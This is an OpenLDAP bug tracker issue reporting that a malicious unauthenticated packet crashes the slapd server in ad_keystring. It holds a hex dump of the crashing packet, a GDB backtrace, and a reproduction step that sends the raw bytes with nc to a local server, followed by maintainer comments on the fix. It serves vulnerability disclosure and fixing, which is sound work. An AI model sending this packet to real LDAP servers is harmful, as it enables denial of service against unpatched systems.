Issue 9425 - A malicious unauthenticated packed crashes OpenLDAP in ad_keystring, ad.c:86

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All

Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project

URL:
Keywords:

Depends on:
Blocks:

Reported: 2020-12-14 15:42 UTC by phasip
Modified: 2021-01-18 20:07 UTC (History)
CC List: 0 users

See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-12-14 15:42:37 UTC** Description

```
A malicious unauthenticated packed crashes OpenLDAP.
It may be some kind of type-confusion but I have not dug into the details.

Packet:
    00000010: efbe b2ef beb2 efbe b2ef beb2 efbe b2ef  ................
    00000020: beb2 efa7 b2ef beb2 efb6 b2ef beb2 efbe  ................
    00000030: b2ef beb2 efbe b2ef beb2 efbe b2ef beb2  ................
    00000040: 2c0a 0a0a 322e 352e 342e 3339 3d30 6b30  ,...2.5.4.39=0k0
    00000050: 3030 0630 3030 3030 3030 0631 7f30 7f06  00.0000000.1.0..
    00000060: 0618 1830 3030 3030 3130 3030 3030 3030  ...0000010000000
    00000070: 3030 3030 3030 3030 3030 382e 3030  0000000000008.00
    00000080: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000090: 3030 3030 3030 3030 3030 3030 0603 3030  000000000000..00
    000000a0: 3030 0330 3030 3030 0630 3030 3030 3030  00.00000.0000000
    000000b0: 3030 3030 3003 0330 3030 3030 3030 3030  00000..000000000
    000000c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000e0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000f0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000100: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000110: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000120: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000130: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000140: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000150: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000160: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000170: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000180: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000190: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001b0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001e0: 3030 3030 3030 3030                      00000000

GDB output:
    Program received signal SIGSEGV, Segmentation fault.
    0x00005555555eefbd in ad_keystring (bv=0x7fffffff80a0) at ad.c:86
    86          if( !AD_LEADCHAR( bv->bv_val[0] ) ) {
    (gdb) bt
    #0  0x00005555555eefbd in ad_keystring (bv=0x7fffffff80a0) at ad.c:86
    #1  0x00005555555f0ac7 in slap_bv2undef_ad (bv=0x7fffffff80a0,
ad=0x7fffffff7dd8, text=0x7fffffff7de0, flags=3) at ad.c:738
    #2  0x00005555555ae847 in LDAPRDN_rewrite (rdn=0x7fffffff8090, flags=0,
ctx=0x0) at dn.c:288
    #3  0x00005555555aeb9f in LDAPDN_rewrite (dn=0x7fffffff8080, flags=0, ctx=0x0)
at dn.c:407
    #4  0x00005555556e560b in ldap_X509dn2bv (x509_name=0x7fffffffe120,
bv=0x7fffffffe140, func=0x5555555aeb31 <LDAPDN_rewrite>, flags=0) at tls2.c:1635
    #5  0x00005555555b0df6 in dnX509normalize (x509_name=0x7fffffffe120,
out=0x7fffffffe140) at dn.c:1301
    #6  0x00005555555dd59e in certificateListValidate (syntax=0x5555557f6c80,
in=0x5555559a1a30) at schema_init.c:487
    #7  0x00005555555ae98d in LDAPRDN_rewrite (rdn=0x5555559a1a68, flags=1,
ctx=0x5555559a1790) at dn.c:328
    #8  0x00005555555aeb9f in LDAPDN_rewrite (dn=0x5555559a1bc8, flags=1,
ctx=0x5555559a1790) at dn.c:407
    #9  0x00005555555afc04 in dnPrettyNormal (syntax=0x0, val=0x7fffffffe3e0,
pretty=0x5555559a1398, normal=0x5555559a13a8, ctx=0x5555559a1790) at dn.c:739
```

```
    #10 0x00005555555b5e53 in do_delete (op=0x5555559a1360, rs=0x7fffffffe470) at
delete.c:65
    #11 0x0000555555591cc0 in connection_operation (ctx=0x5555557f4280
<ldap_int_main_thrctx>, arg_v=0x5555559a1360) at connection.c:1163
    #12 0x00005555555923e9 in connection_read_thread (ctx=0x5555557f4280
<ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #13 0x000055555555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100

Testing:
    docker pull phasip/openldap
    docker run -it --net=host phasip/openldap
    echo -en
'\x30\x82\x01\xe4\x02\x04\x30\x30\x30\x30\x4a\x82\x01\x30\x4f\x3d\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\
| nc localhost 1389


This was found as a result of fuzzing using AFLplusplus, see
https://github.com/Phasip/openldap_fuzz
```

Howard Chu **2020-12-14 20:09:28 UTC** Comment 1

fixed in master

Quanah Gibson-Mount **2020-12-15 21:27:41 UTC** Comment 2

trunk:

- d2936fb1

by Howard Chu at 2020-12-14T20:05:44+00:00
ITS#9425 add more checks to ldap_X509dn2bv

Quanah Gibson-Mount **2020-12-15 21:27:50 UTC** Comment 3

RE24:

```
commit 4bdfffd2889c0c5cdf58bebafbdc8fce4bb2bff0
Author: Howard Chu <hyc@openldap.org>
Date:   Mon Dec 14 20:05:44 2020 +0000

    ITS#9425 add more checks to ldap_X509dn2bv
```

Format For Printing - XML - Clone This Issue - Top of page